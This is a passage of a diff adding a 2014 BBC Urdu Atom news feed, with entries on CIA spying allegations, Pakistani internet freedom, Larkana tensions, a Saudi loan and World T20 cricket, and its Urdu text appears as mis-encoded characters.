+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313101812_israel_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313101812_israel_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313101812_israel_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-12:30705884</id>
+ <dc:identifier>30705884</dc:identifier>
+ <updated>2014-03-12T22:08:20+05:00</updated>
+ <published>2014-03-12T21:06:57+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>not restricted</rights>
+ <title xml:lang="ur">سی آئی پر امریکی کانگریس کی جاسوسی کا الزام</title>
+ <summary xml:lang="ur">Ø§Ù…Ø±ÙŠÚ©Û Ù…ÙŠÚº سينيٹ Ú©ÙŠ انٹليجنس کميٹي Ú©ÙŠ Ø³Ø±Ø¨Ø±Ø§Û Ù†Û’ Ø®ÙÙŠÛ Ø§ÙŠØ¬Ù†Ø³ÙŠ سي آئي اے پر کانگريس Ú©ÙŠ جاسوسي کرنے کا الزام عائد کيا ÛÛ’ اور Ú©Ûا ÛÛ’ Ú©Û Ø§ سی آئی اے Ú©ÛŒ اس حرکت سے ملک کا آئینی ڈھانچے Ú©Ùˆ Ø®Ø·Ø±Û ÛÛ’Û” </summary>
+ <dc:subject>سی آئی اے جاسوسی، CIA</dc:subject>
+ <link rel="alternate" type="text/html" title="video"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140312_cia_spying_av.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/06/140306033312_us_dianne-cia_144x81_ap_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/06/140306033312_us_dianne-cia_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/06/140306033312_us_dianne-cia_144x81_ap_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/06/140306033312_us_dianne-cia_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-12:30704642</id>
+ <dc:identifier>30704642</dc:identifier>
+ <updated>2014-03-12T22:28:26+05:00</updated>
+ <published>2014-03-12T20:28:09+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">پاکستان Ú©Û’ قوانین میں انٹر نیٹ Ú©ÛŒ آزادی کا تحÙظ Ù†Ûیں ÛÛ’!</title>
+ <summary xml:lang="ur">پاکستان Ú©Û’ آئین میں آزادی رائے Ú©Û’ کوئی Ø´Ú© Ù†Ûیں!</summary>
+ <dc:subject>internet, freedom, ban, pakistan انٹرنیٹ آزادی رائے</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140312_hasanbelal_hz.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312171826_pakistan_internet_cafe_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312171826_pakistan_internet_cafe_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312171826_pakistan_internet_cafe_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/12/140312171826_pakistan_internet_cafe_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-12:30705204</id>
+ <dc:identifier>30705204</dc:identifier>
+ <updated>2014-03-12T22:22:05+05:00</updated>
+ <published>2014-03-12T20:45:51+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">پاکستان میں انٹرنیٹ Ú©ÛŒ پابندی تنگ نظری کا Ù†ØªÛŒØ¬Û ÛÛ’Û”</title>
+ <summary xml:lang="ur">پاکستان میں انٹرنیٹ Ú©ÛŒ پابندی تنگ نظری کا Ù†ØªÛŒØ¬Û ÛÛ’Û”</summary>
+ <dc:subject>freedom internet انٹرنیٹ آزادی</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140312_nighatdad_hz.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/09/18/130918101055_pakistan_ban_youtube_144x81__nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/09/18/130918101055_pakistan_ban_youtube_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/09/18/130918101055_pakistan_ban_youtube_144x81__nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="پاکستان میں انٹرنیٹ Ú©ÛŒ پابندی تنگ نظری کا Ù†ØªÛŒØ¬Û ÛÛ’Û”" width="144"
+ height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/09/18/130918101055_pakistan_ban_youtube_144x81__nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-11:30684294</id>
+ <dc:identifier>30684294</dc:identifier>
+ <updated>2014-03-11T22:01:20+05:00</updated>
+ <published>2014-03-11T21:52:53+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">مسلم Ùیملی لا 1961 قابل اصلاح ÛÛ’</title>
+ <summary xml:lang="ur">اسلام مسلمان Ú©Ùˆ چار شادیوں Ú©ÛŒ اجازت دیتا ÛÛ’</summary>
+ <dc:subject>pakistan, islam, idealogical council, fazal ur rehman, پاکستان، Ùیملی قوانین، Ùضل الرحمان ØŒ نظریاتی کونسل</dc:subject>
+ <link rel="alternate" type="text/html" title="audio"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140311_fazal-ur_rehman_interview_fz.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/16/130516110542_maunala-fazal-ur-rehman01.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/05/16/130516110542_maunala-fazal-ur-rehman01.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/16/130516110542_maunala-fazal-ur-rehman01.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/05/16/130516110542_maunala-fazal-ur-rehman01.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-11:30683391</id>
+ <dc:identifier>30683391</dc:identifier>
+ <updated>2014-03-11T21:30:10+05:00</updated>
+ <published>2014-03-11T21:15:10+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">’میڈیا ÙˆÛ Ú©Ø±Û’ جو قومی Ù…Ùاد میں Ûے‘</title>
+ <summary xml:lang="ur">Ú¯Ø°Ø´ØªÛ Ú©Ú†Ú¾ عرصے سے پاکستان Ú©Û’ صحاÙتی ادارے اپنی Ø­Ùاظت Ú©Û’ بارے میں تشویش کا شکار Ûیں اور ان پر کئی حملے بھی کیے جا Ú†Ú©Û’ Ûیں۔ اس بارے میں بی بی سی اردو Ú©Û’ آص٠Ùاروقی Ú©Û’ ماروی میمن سے Ú¯Ùتگو سنیے۔</summary>
+ <dc:subject>ماروی میمن، انٹرویو، میڈیا، آص٠Ùاروقی، marvi memon, interview, video, asif farooqi, media</dc:subject>
+ <link rel="alternate" type="text/html" title="video"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140311_marvi_memon_interview_aw.shtml">
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/11/140311161640_marvi_memon_144x81_bbc_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/11/140311161640_marvi_memon_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/11/140311161640_marvi_memon_144x81_bbc_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="ماروی میمن" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/11/140311161640_marvi_memon_144x81_bbc_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30775787</id>
+ <dc:identifier>30775787</dc:identifier>
+ <updated>2014-03-16T18:15:42+05:00</updated>
+ <published>2014-03-16T18:10:10+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="regional" label="آس پاس"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">بھارت میں اونٹوں Ú©ÛŒ Ú©Ù…ÛŒ سے حکومت Ùکرمند</title>
+ <summary xml:lang="ur">بھارتی ریاست راجستھان میں حکومت اونٹوں Ú©ÛŒ Ú©Ù… Ûوتی تعداد Ú©ÛŒ ÙˆØ¬Û Ø³Û’ اسے ’ریاست Ú©ÛŒ امانت‘ کا Ø¯Ø±Ø¬Û Ø¯ÛŒÙ†Û’ پر غور کر رÛÛŒ ÛÛ’Û”</summary>
+ <dc:subject>بھارت، اونٹ، راجستھان، india, camel, poupaltion</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/regional/2014/03/140315_india_camel_population_decrease_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/regional/2014/03/140315_india_camel_population_decrease_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/24/140224040136_camel_rajasthan_144x81_laxmandiwakar_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/02/24/140224040136_camel_rajasthan_144x81_laxmandiwakar_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/24/140224040136_camel_rajasthan_144x81_laxmandiwakar_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/02/24/140224040136_camel_rajasthan_144x81_laxmandiwakar_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="external-page"
+ href="http://www.bbc.co.uk/urdu/india/story/2008/04/080408_camel_population_awa.shtml">
+ <media:content/>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30768525</id>
+ <dc:identifier>30768525</dc:identifier>
+ <updated>2014-03-16T03:53:20+05:00</updated>
+ <published>2014-03-16T03:50:25+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="multimedia" label="ملٹی میڈیا"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">کیٹ واک کرتی اداکارائیں </title>
+ <summary xml:lang="ur">ممبئی میں جاری Ùیشن ویک Ú©Û’ پانچویں روز Ú©ÛŒ تصاویر</summary>
+ <dc:subject>ممبئی، Ùیشن، mumbai, fashion</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/multimedia/2014/03/140315_mumbai_fashion_show_lakme_rh.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/multimedia/2014/03/140315_mumbai_fashion_show_lakme_rh.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316152608_lakme_fashion_week_mumbai_144x81_ap_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316152608_lakme_fashion_week_mumbai_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316152608_lakme_fashion_week_mumbai_144x81_ap_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316152608_lakme_fashion_week_mumbai_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30773252</id>
+ <dc:identifier>30773252</dc:identifier>
+ <updated>2014-03-16T19:23:37+05:00</updated>
+ <published>2014-03-16T15:45:15+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="pakistan" label="پاکستان"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">لاڑکانÛ:صورتحال بدستور کشیدÛ،وزیراعظم Ú©ÛŒ تشویش</title>
+ <summary xml:lang="ur">Ù„Ø§Ú‘Ú©Ø§Ù†Û Ù…ÛŒÚº مقدس اوراق Ú©Û’ Ù…Ø¨ÛŒÙ†Û Ø¨Û’Ø­Ø±Ù…ØªÛŒ اور ردعمل میں Ûندو دھرم Ø´Ø§Ù„Û Ú©Ùˆ نذر آتش کیے جانے Ú©Û’ واقعات Ú©Û’ بعد حالات بدستور Ú©Ø´ÛŒØ¯Û Ûیں Ø¬Ø¨Ú©Û ÙˆØ²ÛŒØ±Ø§Ø¹Ø¸Ù… نواز شری٠نے Ûندوؤں Ú©ÛŒ املاک Ú©Ùˆ Ù¾ÛÙ†Ú†Ù†Û’ والے نقصان پر تشویش ظاÛر Ú©ÛŒ ÛÛ’Û”</summary>
+ <dc:subject>larkana, sindh, quran, burning, لاڑکانÛØŒ قرآن، Ûندو</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/pakistan/2014/03/140316_larkana_quran_burning_tension_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/pakistan/2014/03/140316_larkana_quran_burning_tension_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315220059_hindu_temple_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315220059_hindu_temple_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315220059_hindu_temple_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315220059_hindu_temple_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/pakistan/2014/03/140315_larkana_quran_burning_hindu_man_rh.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/pakistan/2014/03/140315_larkana_quran_burning_hindu_man_rh.shtml"/>
+ <dc:title>’مقدس اوراق کی بےحرمتی‘: دھرم شالا نذر٠آتش، علاقے میں کشیدگی</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315220059_hindu_temple_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315220059_hindu_temple_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315220059_hindu_temple_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/15/140315220059_hindu_temple_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30771161</id>
+ <dc:identifier>30771161</dc:identifier>
+ <updated>2014-03-16T13:11:35+05:00</updated>
+ <published>2014-03-16T12:57:35+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="pakistan" label="پاکستان"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">’ڈیڑھ ارب ڈالر قرض Ù†Ûیں دوست ممالک کا تحÙÛ Ûے‘</title>
+ <summary xml:lang="ur">ÙˆØ²ÛŒØ±Ù Ø®Ø²Ø§Ù†Û Ø§Ø³Ø­Ø§Ù‚ ڈار کا Ú©Ûنا ÛÛ’ Ú©Û Ù¾Ø§Ú©Ø³ØªØ§Ù† Ú©Ùˆ حال ÛÛŒ میں ملنے والے ڈیڑھ ارب ڈالر ’دوست ممالک‘ Ú©ÛŒ جانب سے پاکستان Ú©Û’ عوام Ú©Û’ لیے تحÙÛ ÛÛ’Û” </summary>
+ <dc:subject>نواز شریÙØŒ پاکستان، سعودی عرب، قرض، loan, saudi arabia, nawaz shareef</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/pakistan/2014/03/140316_it_is_a_gift_sa.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/pakistan/2014/03/140316_it_is_a_gift_sa.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/06/11/130611162157_ishaq-dar01.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2013/06/11/130611162157_ishaq-dar01.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/06/11/130611162157_ishaq-dar01.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2013/06/11/130611162157_ishaq-dar01.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/pakistan/2014/03/140313_saudi_arabia_gives_loan_.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/pakistan/2014/03/140313_saudi_arabia_gives_loan_.shtml"/>
+ <dc:title>نواز شری٠کی ’ذاتی ضمانت پر ڈیڑھ ارب ڈالر کا قرض‘</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313154508_saudi_crown_prince_mian_nawaz_shareef_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313154508_saudi_crown_prince_mian_nawaz_shareef_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313154508_saudi_crown_prince_mian_nawaz_shareef_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/13/140313154508_saudi_crown_prince_mian_nawaz_shareef_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30778316</id>
+ <dc:identifier>30778316</dc:identifier>
+ <updated>2014-03-16T21:24:28+05:00</updated>
+ <published>2014-03-16T21:04:55+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="sport" label="کھیل"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">ورلڈ Ù¹ÛŒ 20:نیپال Ù†Û’ Ûانگ کانگ Ú©Ùˆ شکست دے دی</title>
+ <summary xml:lang="ur">ÚˆÚ¾Ø§Ú©Û Ù…ÛŒÚº ورلڈ Ù¹ÛŒ ٹوئٹنی مقابلوں Ú©Û’ Ù¾ÛÙ„Û’ مرحلے Ú©Û’ دوسرے میچ میں نیپال Ù†Û’ Ûانگ کانگ Ú©Ùˆ 80 رنز سے شکست دے دی ÛÛ’Û”</summary>
+ <dc:subject>نیپال، Ûانگ کانگ، کرکٹ، ورلڈ Ù¹ÛŒ ٹوئنٹی، hong kong, cricket, nepal, world t20</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/sport/2014/03/140316_worldt20_nepal_hongkong_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/sport/2014/03/140316_worldt20_nepal_hongkong_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316161945_nepal_cricket_team_144x81_afp_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316161945_nepal_cricket_team_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316161945_nepal_cricket_team_144x81_afp_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316161945_nepal_cricket_team_144x81_afp_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="cluster"
+ href="http://www.bbc.co.uk/urdu/indepth/icc_world_t20_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-cluster"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/indepth/icc_world_t20_zs.shtml"/>
+ <dc:title>آئی سی سی ورلڈ ٹی ٹوئنٹی 2014</dc:title>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/14/140314155219_icc_t20_logo144.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ </entry>
+ <entry>
+ <id>tag:www.bbcurdu.com,2014-03-16:30772877</id>
+ <dc:identifier>30772877</dc:identifier>
+ <updated>2014-03-16T17:02:12+05:00</updated>
+ <published>2014-03-16T15:21:00+05:00</published>
+ <category xml:lang="ur" term="urdu" label="urdu"/>
+ <category xml:lang="ur" term="sport" label="کھیل"/>
+ <rights>restricted</rights>
+ <title xml:lang="ur">ورلڈ Ù¹ÛŒ 20:اÙتتاحی میچ میں Ø¨Ù†Ú¯Ù„Û Ø¯ÛŒØ´ Ú©ÛŒ Ùتح</title>
+ <summary xml:lang="ur">ÚˆÚ¾Ø§Ú©Û Ù…ÛŒÚº ورلڈ Ù¹ÛŒ ٹوئٹنی مقابلوں Ú©Û’ Ù¾ÛÙ„Û’ مرحلے Ú©Û’ اÙتتاحی میچ میں میزبان Ø¨Ù†Ú¯Ù„Û Ø¯ÛŒØ´ Ù†Û’ اÙغانستان Ú©Ùˆ نو وکٹوں سے Ûرا دیا ÛÛ’Û”</summary>
+ <dc:subject>Ø¨Ù†Ú¯Ù„Û Ø¯ÛŒØ´ØŒ اÙغانستان، کرکٹ، ورلڈ Ù¹ÛŒ ٹوئنٹی، bangladesh, cricket, afghanistan, world t20</dc:subject>
+ <link rel="alternate" type="text/html" title="story"
+ href="http://www.bbc.co.uk/urdu/sport/2014/03/140316_worldt20_afghanistan_bangladesh_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="alternate" media="handheld"
+ title="mobile-story"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/sport/2014/03/140316_worldt20_afghanistan_bangladesh_zs.shtml"/>
+ <media:content>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316103750_bangladesh_afghanistan_cricket_t20_144x81_ap_nocredit.jpg"
+ width="106"
+ height="60">
+ <img alt="" width="106" height="60"
+ src="http://wscdn.bbc.co.uk/worldservice/ic/106x60/wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316103750_bangladesh_afghanistan_cricket_t20_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ <media:thumbnail url="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316103750_bangladesh_afghanistan_cricket_t20_144x81_ap_nocredit.jpg"
+ width="144"
+ height="81">
+ <img alt="" width="144" height="81"
+ src="http://wscdn.bbc.co.uk/worldservice/assets/images/2014/03/16/140316103750_bangladesh_afghanistan_cricket_t20_144x81_ap_nocredit.jpg"/>
+ </media:thumbnail>
+ </media:content>
+ </link>
+ <link rel="related" type="text/html" title="cluster"
+ href="http://www.bbc.co.uk/urdu/indepth/icc_world_t20_zs.shtml">
+ <xhtml:link xmlns:xhtml="http://www.w3.org/1999/xhtml" rel="related" media="handheld"
+ title="mobile-cluster"
+ type="text/html"
+ href="http://www.bbc.co.uk/urdu/mobile/indepth/icc_world_t20_zs.shtml"/>
